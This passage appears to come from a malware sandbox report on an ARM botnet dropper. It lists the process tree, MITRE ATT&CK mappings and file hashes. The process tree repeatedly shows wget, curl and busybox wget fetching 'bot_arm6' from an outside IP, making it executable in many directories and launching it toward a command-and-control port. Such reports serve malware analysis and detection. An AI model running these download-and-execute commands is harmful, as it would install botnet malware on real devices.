  /mnt/bot 152.70.4.175 3434
  2⤵
  PID:1279
- /bin/chmod
  chmod +x /mnt/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1282
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/data/bot
  2⤵
  PID:1284
- /mnt/bot
  /mnt/bot 152.70.4.175 3434
  2⤵
  PID:1283
- /bin/chmod
  chmod +x /data/bot
  2⤵
  PID:1286
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/data/bot
  2⤵
  - Checks CPU configuration
  PID:1288
- /data/bot
  /data/bot 152.70.4.175 3434
  2⤵
  PID:1287
- /bin/chmod
  chmod +x /data/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1289
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/data/bot
  2⤵
  PID:1291
- /data/bot
  /data/bot 152.70.4.175 3434
  2⤵
  PID:1290
- /bin/chmod
  chmod +x /data/bot
  2⤵
  PID:1292
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/cache/bot
  2⤵
  PID:1294
- /data/bot
  /data/bot 152.70.4.175 3434
  2⤵
  PID:1293
- /bin/chmod
  chmod +x /cache/bot
  2⤵
  PID:1295
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/cache/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1297
- /cache/bot
  /cache/bot 152.70.4.175 3434
  2⤵
  PID:1296
- /bin/chmod
  chmod +x /cache/bot
  2⤵
  PID:1298
- /cache/bot
  /cache/bot 152.70.4.175 3434
  2⤵
  PID:1299
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/cache/bot
  2⤵
  PID:1300
- /bin/chmod
  chmod +x /cache/bot
  2⤵
  PID:1301
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/root/bot
  2⤵
  PID:1303
- /cache/bot
  /cache/bot 152.70.4.175 3434
  2⤵
  PID:1302
- /bin/chmod
  chmod +x /root/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1304
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/root/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1306
- /root/bot
  /root/bot 152.70.4.175 3434
  2⤵
  PID:1305
- /bin/chmod
  chmod +x /root/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1308
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/root/bot
  2⤵
  PID:1310
- /root/bot
  /root/bot 152.70.4.175 3434
  2⤵
  PID:1309
- /bin/chmod
  chmod +x /root/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1312
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/home/bot
  2⤵
  PID:1314
- /root/bot
  /root/bot 152.70.4.175 3434
  2⤵
  PID:1313
- /bin/chmod
  chmod +x /home/bot
  2⤵
  PID:1316
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/home/bot
  2⤵
  - Checks CPU configuration
  PID:1318
- /home/bot
  /home/bot 152.70.4.175 3434
  2⤵
  PID:1317
- /bin/chmod
  chmod +x /home/bot
  2⤵
  PID:1320
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/home/bot
  2⤵
  PID:1322
- /home/bot
  /home/bot 152.70.4.175 3434
  2⤵
  PID:1321
- /bin/chmod
  chmod +x /home/bot
  2⤵
  PID:1324
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/storage/bot
  2⤵
  PID:1326
- /home/bot
  /home/bot 152.70.4.175 3434
  2⤵
  PID:1325
- /bin/chmod
  chmod +x /storage/bot
  2⤵
  PID:1328
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/storage/bot
  2⤵
  - Checks CPU configuration
  PID:1330
- /storage/bot
  /storage/bot 152.70.4.175 3434
  2⤵
  PID:1329
- /bin/chmod
  chmod +x /storage/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1331
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/storage/bot
  2⤵
  PID:1333
- /storage/bot
  /storage/bot 152.70.4.175 3434
  2⤵
  PID:1332
- /bin/chmod
  chmod +x /storage/bot
  2⤵
  PID:1334
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/sdcard/bot
  2⤵
  PID:1336
- /storage/bot
  /storage/bot 152.70.4.175 3434
  2⤵
  PID:1335
- /bin/chmod
  chmod +x /sdcard/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1337
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/sdcard/bot
  2⤵
  - Checks CPU configuration
  PID:1339
- /sdcard/bot
  /sdcard/bot 152.70.4.175 3434
  2⤵
  PID:1338
- /bin/chmod
  chmod +x /sdcard/bot
  2⤵
  PID:1340
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/sdcard/bot
  2⤵
  PID:1342
- /sdcard/bot
  /sdcard/bot 152.70.4.175 3434
  2⤵
  PID:1341
- /bin/chmod
  chmod +x /sdcard/bot
  2⤵
  PID:1343
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/system/bot
  2⤵
  PID:1345
- /sdcard/bot
  /sdcard/bot 152.70.4.175 3434
  2⤵
  PID:1344
- /bin/chmod
  chmod +x /system/bot
  2⤵
  PID:1346
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/system/bot
  2⤵
  - Checks CPU configuration
  PID:1348
- /system/bot
  /system/bot 152.70.4.175 3434
  2⤵
  PID:1347
- /bin/chmod
  chmod +x /system/bot
  2⤵
  PID:1349
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/system/bot
  2⤵
  PID:1351
- /system/bot
  /system/bot 152.70.4.175 3434
  2⤵
  PID:1350
- /bin/chmod
  chmod +x /system/bot
  2⤵
  PID:1352
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/vendor/bot
  2⤵
  PID:1354
- /system/bot
  /system/bot 152.70.4.175 3434
  2⤵
  PID:1353
- /bin/chmod
  chmod +x /vendor/bot
  2⤵
  PID:1355
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/vendor/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1357
- /vendor/bot
  /vendor/bot 152.70.4.175 3434
  2⤵
  PID:1356
- /bin/chmod
  chmod +x /vendor/bot
  2⤵
  PID:1358
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/vendor/bot
  2⤵
  PID:1360
- /vendor/bot
  /vendor/bot 152.70.4.175 3434
  2⤵
  PID:1359
- /bin/chmod
  chmod +x /vendor/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1361
- /bin/sleep
  sleep 30
  2⤵
  PID:1363
- /vendor/bot
  /vendor/bot 152.70.4.175 3434
  2⤵
  PID:1362
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -Obot
  2⤵
  - Writes file to tmp directory
  PID:1370
- /bin/chmod
  chmod +x bot
  2⤵
  PID:1371
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -obot
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:1373
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:1374
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -Obot
  2⤵
  - Writes file to tmp directory
  PID:1376
- /bin/chmod
  chmod +x bot
  2⤵
  PID:1377
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/tmp/bot
  2⤵
  - Writes file to tmp directory
  PID:1379
- /bin/chmod
  chmod +x /tmp/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1380
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/tmp/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1382
- /tmp/bot
  /tmp/bot 152.70.4.175 3434
  2⤵
  PID:1381
- /bin/chmod
  chmod +x /tmp/bot
  2⤵
  PID:1384
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/tmp/bot
  2⤵
  - Writes file to tmp directory
  PID:1386
- /tmp/bot
  /tmp/bot 152.70.4.175 3434
  2⤵
  PID:1385
- /bin/chmod
  chmod +x /tmp/bot
  2⤵
  PID:1388
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/var/tmp/bot
  2⤵
  PID:1390
- /tmp/bot
  /tmp/bot 152.70.4.175 3434
  2⤵
  PID:1389
- /bin/chmod
  chmod +x /var/tmp/bot
  2⤵
  PID:1391
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/var/tmp/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1394
- /var/tmp/bot
  /var/tmp/bot 152.70.4.175 3434
  2⤵
  PID:1393
- /bin/chmod
  chmod +x /var/tmp/bot
  2⤵
  PID:1396
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/var/tmp/bot
  2⤵
  PID:1398
- /var/tmp/bot
  /var/tmp/bot 152.70.4.175 3434
  2⤵
  PID:1397
- /bin/chmod
  chmod +x /var/tmp/bot
  2⤵
  PID:1400
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/dev/shm/bot
  2⤵
  - Writes file to shm directory
  PID:1402
- /var/tmp/bot
  /var/tmp/bot 152.70.4.175 3434
  2⤵
  PID:1401
- /bin/chmod
  chmod +x /dev/shm/bot
  2⤵
  - File and Directory Permissions Modification
  PID:1404
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/dev/shm/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to shm directory
  PID:1406
- /dev/shm/bot
  /dev/shm/bot 152.70.4.175 3434
  2⤵
  PID:1405
- /bin/chmod
  chmod +x /dev/shm/bot
  2⤵
  PID:1408
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/dev/shm/bot
  2⤵
  - Writes file to shm directory
  PID:1410
- /dev/shm/bot
  /dev/shm/bot 152.70.4.175 3434
  2⤵
  PID:1409
- /bin/chmod
  chmod +x /dev/shm/bot
  2⤵
  PID:1412
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O./bot
  2⤵
  - Writes file to tmp directory
  PID:1414
- /dev/shm/bot
  /dev/shm/bot 152.70.4.175 3434
  2⤵
  PID:1413
- /bin/chmod
  chmod +x ./bot
  2⤵
  PID:1416

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

bot

Path /tmp/bot
Size 586KB
SHA256 be730c016aec4cf4423f2f5caccac2b83f5c326a516103f9a0311d000a0a3fad
MD5 6f0856d8a8d077a853f60ec5e86e3866
SHA1 e7e671d5e150a946188cbb9d8df3f83023a9ae87
SHA512 083bf5a8b22c1134557d4663e0c89a94a6b34ddce2889c8f148eedbd47923ffbfd2353f01c0d0bfc6bf9a6b00f6156c3869be2f0c313a6f6323041a15ae62027
SSDEEP 12288:dyMv4waJPzkL9BL/YUT/CY6EYPr4UQcfZREUL8pvuCjK:Bv4waVkPrYK/CYlYPrVQoC
TLSH
T1DFD42855F8809F61C6C539B6F74D42A873174B79D3EB72069A254B303BEB86B0F3A601
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads